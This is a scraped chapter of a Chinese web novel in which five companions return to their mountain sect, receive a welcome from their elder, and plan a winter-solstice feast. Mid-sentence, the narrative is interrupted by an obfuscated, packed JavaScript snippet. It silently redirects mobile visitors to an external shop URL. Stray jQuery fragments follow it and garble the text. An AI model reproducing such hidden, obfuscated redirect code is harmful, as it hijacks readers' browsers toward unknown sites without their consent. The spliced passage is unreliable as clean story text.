文趣网 > 都市小说 > 我带疯批队友闯修真界 > 49. 暴风雨前的宁静
    回到青云宗已经是初冬。山上的银杏树落了大半的叶子,金黄的叶片铺满了从山门到弟子院的山道,踩上去沙沙作响,像踩在晒干了的阳光上。凌月瑶一进山门就深深吸了一口气,然后心满意足地宣布青云山的空气比凉州好一万倍——凉州的空气里全是沙子和魔气的焦糊味,而青云山的空气里有竹叶的味道、松脂的清香,还有从饭堂飘过来的灵米粥的甜香。绯夜在旁边凉凉地补了一句“那是因为凉州刚打完仗,你在凉州的时候鼻子怎么没这么灵”,凌月瑶难得没有反驳,只是踢了一脚路边的银杏叶,让金黄的叶片扬了绯夜满身。

    他们离开的时候还是初秋,回来时山上的桂花已经谢了,但松柏依旧苍翠。苏晚晴走在队伍最后面,看着前方四个人穿过那条熟悉的山道——凌月瑶蹦蹦跳跳地踩银杏叶,绯夜一边拍身上的叶子一边骂她幼稚,沈墨言抱着从凉州带回来的三本旧棋谱安静地走在侧边,楚霜牵着马打量着周围的环境,目光在每一处建筑上停留的时间都恰到好处,像一个经验丰富的斥候在潜意识里绘制地图。

    苏晚晴深深吸了一口气,青云山清冽的空气灌进肺里,带着松针和泥土的气息。她忽然觉得,回家这个词,好像也不是那么难以启齿了。

    玄机子在大殿等着他们。老头子今天难得没有歪在躺椅上打瞌睡,而是背着手站在殿门口,穿着一件洗得发白的灰色道袍,头发破天荒地束得整整齐齐。看见五个人从山道上走下来,他先是板着脸数落了足足一盏茶的工夫——“去凉州去了这么久,信也不写一封,让老头子我在山上干等,还以为你们被妖兽叼走了”——但数落到一半,目光扫过楚霜手臂上还没完全消退的伤疤,又扫过苏晚晴腰间新添的那把短鞭,话锋一转,语气软了下来。

    “回来就好。韩老头写信来了,把你们夸得跟朵花似的。说你们五个守住了凉州城,封住了黑石峡的裂隙,还顺手端了一窝金丹魔物的老巢。”他摸了摸下巴上几根稀疏的胡须,嘴角压了又压,还是没压住那点得意的弧度,“还行,没给青云宗丢人。”

    他走到楚霜面前,上下打量了一番。楚霜不卑不亢地行了军礼,目光坦然。玄机子看了片刻,忽然伸出两根手指搭在楚霜的手腕上,闭眼感受了一瞬她的脉搏和内息。然后他睁开眼,用一种难得认真的语气说了句让所有人都意外的话:“凡人之躯,内劲练到你这个程度,老夫活了两百年,只见过三个。前两个都死在了战场上——不是他们不够强,是没有人帮他们挡背后。”他收回手,背在身后,那双总是嬉皮笑脸的眼睛里罕见地带着几分郑重,“你有这帮孩子帮你挡背后,是你的运气,也是他们的运气。”

    楚霜沉默了片刻,然后认真地点了点头:“我知道。”

    玄机子没再多说,转身从案上取了一块令牌递给她。令牌是玄铁所铸,正面刻着青云宗的云纹,背面刻了“特遣”二字,跟苏晚晴他们四人之前拿到的一模一样。“这是你的。从今天起,青云宗的藏书阁、修炼室、丹房药库,全部对你开放。你的武法体系跟修士不同,藏书阁里关于武法的典籍虽然不多,但有几本是上古遗留下来的,对你应该有用。”

    楚霜双手接过令牌,指腹摩挲过令牌背面那两个凌厉的刻字,然后郑重地将其系在腰间——跟凉州军的那枚铜符并排挂在一起。一枚是她的过去,一枚是她的现在。

    当天晚上,苏晚晴的小院里重新亮起了灯。晚晴小馆因为主人外出而歇业了大半个月,积了一层薄灰。五个人花了半个时辰把桌椅擦干净,又把那四盏琉璃灯重新挂上屋檐——红的、青的、粉的、白的,四盏灯在夜风中轻轻摇晃,加上苏晚晴今天新添的一盏暖黄色的新灯,五盏灯把整个小院照得温暖而明亮。

    苏晚晴亲自下厨做了一大桌子菜。红烧灵鲤、糖醋排骨、蜜汁烤鸭、翡翠虾仁、桂花糯米藕——全是大家最爱吃的。她还特意多做了一笼蟹黄汤包,因为上次在凉州凌月瑶念叨了整整半个月说想吃。楚霜默默记下了每个人在席间的习惯——凌月瑶喜欢吃甜的把桂花藕连夹了三块,绯夜口味偏淡,沈墨言吃鱼的时候会先把刺挑干净再入口,苏晚晴从头到尾都在给每个人夹菜,自己碗里的饭几乎没怎么动。她什么都没说,只是把这些细节一一收进心底。这是她在军中养成的习惯——了解战友的习惯,才能在关键时刻做出正确的判断。但她第一次觉得,这个习惯也可以用在不是战场的地方。

    吃完饭,五人坐在院子里喝茶。苏晚晴泡了一壶从凉州带回来的沙棘茶,酸甜的果香在冬夜的冷空气中格外清冽。凌月瑶喝了一口就皱起了整张脸,说这也太酸了,然后往自己杯子里加了三勺蜂蜜。绯夜喝了一口,面无表情地说了句“还行”,然后趁凌月瑶不注意又给自己续了一杯。沈墨言端着茶杯安静地翻看老将军送的那本棋谱,楚霜坐在他旁边,指着棋谱上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783986|210143||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的一步棋问为什么要下在这里,沈墨言认真地解释了三种可能的后续变招,楚霜听完点了点头,说“原来棋理跟排兵布阵有相通之处”。

    苏晚晴靠在椅背上,看着眼前这一幕——琉璃灯的光晕笼罩着整个小院,把五个人的影子投射在青石板地面上,长短不一,交叠在一起。她忽然想起了在凉州校场上五只手叠在一起的瞬间。那只手压在另一只手上,粗糙的、细腻的、布满薄茧的、指节分明的,五只各不相同的手,却有着同样的温度。

    “对了,”凌月瑶放下茶杯,嘴角还沾着蜂蜜的亮光,“再过几天就是冬至了。咱们要不要在饭馆里搞个冬至宴?反正歇业了这么久也该重新开张了。我这两天看了赵钱孙新出的丹药价目表,他把驻颜丹的价格压得太低了,这不是扰乱市场吗?还有李逍遥最近好像闭关出来了,听说修为涨了一截——我估计是被咱们刺激的,大师兄好面子,不好意思被师弟师妹甩太远……”

    她絮絮叨叨地说着,声音在安静的夜空中飘得很远。绯夜偶尔插一句嘴嘲讽她,沈墨言在棋谱上翻页时发出细微的沙沙声,楚霜安静地喝着她的沙棘茶——没有加蜂蜜——目光在说话的人之间无声地流转。苏晚晴忽然想起之前系统界面上关于终战倒计时的提示,那个红色的数字曾经压得她喘不过气来。但此刻,坐在这个被五盏琉璃灯照亮的小院里,听着凌月瑶跟绯夜为冬至宴的菜单争执不下——凌月瑶坚持要加蟹黄汤包,绯夜说冬至吃什么汤包,应该吃饺子——她忽然觉得,倒计时还在,但它不再是一个令人窒息的数字了。它只是一条时间线,而在这条时间线到达终点之前,她还有很多顿饭可以跟这些人一起吃,还有很多个这样的夜晚可以跟他们一起度过。

    “冬至宴必须有红烧肉。”苏晚晴开口了,语气笃定得像在下达一项不容更改的战术指令,“我亲自炖。炖一整天,炖到肉皮能用筷子夹断但入口不散。凌月瑶你别瞪我,蟹黄汤包也可以加,但红烧肉是底线。”

    凌月瑶满意地哼了一声,绯夜摇头说“你们两个迟早把饭馆吃垮”,沈墨言从棋谱里抬起头,认真地说了句“我、我可以帮忙算成本”,楚霜放下茶杯,语气平淡地补了一句:“我可以负责切肉。军中的刀工还没丢。”

    五盏琉璃灯在小院上空轻轻摇晃,暖光落在每个人的脸上。冬至还没到,但围坐在这张石桌旁的人,已经提前感受到了团圆的温度。